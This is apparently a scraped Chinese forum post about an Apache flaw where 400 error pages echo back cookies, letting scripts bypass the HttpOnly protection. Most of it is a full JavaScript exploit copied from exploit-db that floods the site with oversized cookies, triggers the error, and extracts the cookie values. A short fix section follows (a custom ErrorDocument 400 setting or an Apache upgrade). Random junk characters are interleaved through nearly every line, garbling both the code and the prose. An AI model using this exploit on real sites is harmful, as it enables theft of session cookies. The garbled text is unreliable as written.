很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
S f4 J5 j$ L, p3 I, u5 f6 I/ P) N6 x6 |# p
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:; n* u0 _0 C* v) V# p4 y
& L b0 w. T' a! d# `0 j6 s x
" a5 @9 f1 D8 l; O. \- H( V* p
// http://www.exploit-db.com/exploits/18442/ F7 I5 F8 N% E
function setCookies (good) {/ h/ L W/ o& W6 c
// Construct string for cookie value
# O; Z3 y2 m1 V' x, Q! T% |var str = "";& c5 [/ D( W7 @
for (var i=0; i< 819; i++) {* {% x/ N. {. W7 c
str += "x";8 e( Q b8 P/ F$ @
}
$ p1 {! ]5 ^! n7 K1 _// Set cookies/ c, u$ q; t+ z, x5 s9 o( b
for (i = 0; i < 10; i++) {& P' D7 h: c& Q3 W
// Expire evil cookie
- N, j, S$ x) _+ o. \$ S9 Y( Cif (good) {
8 \, p+ @/ J' d9 a. d2 uvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";* O" }* k1 J# A$ M( O
}- B0 n6 s# I6 x: H) j$ _5 y- w" A
// Set evil cookie
) f; X/ w5 M7 W2 L1 O) Yelse {5 G' L. O1 z/ l4 A- O( _$ q
var cookie = "xss"+i+"="+str+";path=/";
9 \3 ]2 \7 v& ~/ e6 v6 C! a}
& |$ y' }" R6 M( y* udocument.cookie = cookie;
6 Q* Y# M' }9 W}9 v2 i" M- ~% O& {6 `) ]* S
}
" v2 p- O6 D1 xfunction makeRequest() {
7 L% ?, B5 O: N9 Q8 ]setCookies();
# Y R M1 k1 ?0 sfunction parseCookies () {, n$ ^8 y) X9 H$ G/ [) X% o
var cookie_dict = {};
& L( G6 U8 o6 {$ I2 e! V// Only react on 400 status
* |0 F* K0 I5 c5 ^0 n8 C2 lif (xhr.readyState === 4 && xhr.status === 400) {
6 B7 O- p. S6 O# r6 ^+ y// Replace newlines and match <pre> content9 q! N- l @# Q3 ?' o$ b$ C+ t% w
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
5 j3 m2 j4 L' @" ~3 d* A M0 G; ~if (content.length) {9 S4 G/ x; z1 U2 j
// Remove Cookie: prefix
! r# P- S8 f& rcontent = content[1].replace("Cookie: ", "");* M) ]$ c. ]: P
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);) Y+ c8 g, a% r8 ~" A* W- y+ Q
// Add cookies to object
- l# _% ]: c" g6 nfor (var i=0; i<cookies.length; i++) {
, W, W9 V& |6 F0 _var s_c = cookies.split('=',2);/ d, Q: Z, L4 a, B) G
cookie_dict[s_c[0]] = s_c[1];
7 q% W8 z3 |3 B% ]4 t# L* O) k. x# s; O}1 J3 s, C9 e& d5 Y7 D
}0 w7 r3 ?; y1 ]5 l
// Unset malicious cookies
5 u% j% C9 J" h1 Q' ~% `setCookies(true);: f' P7 O$ K" [0 G. C5 r
alert(JSON.stringify(cookie_dict));
7 Q8 T4 V" p! _$ e}
. a3 ~6 A: C! ]}
# v' l4 J3 c! r" N a// Make XHR request
; b$ [3 V& }# m% F3 ?: P- evar xhr = new XMLHttpRequest();2 c$ o4 G( j- \+ ` _* P% Y4 ?0 o
xhr.onreadystatechange = parseCookies;* i4 a. O" p K* C
xhr.open("GET", "/", true);0 P' ^& ^ D- V3 c, ^9 _) g
xhr.send(null);
r- Q; {& r) g: p9 k- _}6 }0 T4 E0 ?- K8 v$ \
makeRequest();0 {, }8 H$ U" ^8 ?4 R. I, m
" v1 r! u8 |2 T0 l1 M; v8 n你就能看见华丽丽的400错误包含着cookie信息。
& N2 B& O" b4 w t. i4 z7 i: s# |) j
- O! U- S. y3 c: d/ z+ R3 H下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#
+ y/ Q- v( S- K, ~- D8 \' b6 I7 A0 @8 K' G
修复方案:3 y+ k7 k! p3 v9 y* }: [4 t0 n
0 m4 M( k" t) c! e& Y$ D
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下; ~) @8 v; r" V8 |& s0 B; L
' W9 n+ [: A% `! `0 oIn the event of a problem or error, Apachecan be configured to do one of four things,
: c3 \) R; C6 a3 s: ^2 t9 l/ Q/ ?
2 L$ H5 X! Z: q$ T4 Q1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
( F* p$ ?& p- R4 G6 @2. output acustomized message输出一段信息' K# U& e% w' `6 e$ ^6 P9 y$ @* f
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 ( w: s$ D' R7 Q
4. redirect to an external URL to handle theproblem/error转向一个外部URL
, y; D9 i- S M0 s2 I7 g8 S! ]$ P( \/ D, M/ M6 R; x
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容, [7 m8 h7 ? C( }& c) F, }
) [" E9 o2 ~+ h" B' u9 u
Apache配置:$ d4 l/ N1 ?/ X/ p
4 q( F( h8 w7 Y; U7 s# E; BErrorDocument400 " security test"
* H- ]! [; @3 B' v" l# @3 u5 Y
! `, k; |) v5 Z* h; t当然,升级apache到最新也可:)。) h& S7 `5 f$ V1 v9 V$ i& @
& e$ A& G2 O7 J1 V% z4 ^参考:http://httpd.apache.org/security/vulnerabilities_22.html6 c2 d/ O5 k E z& F; F
/ a6 y A1 x! g; {% _/ {& I
|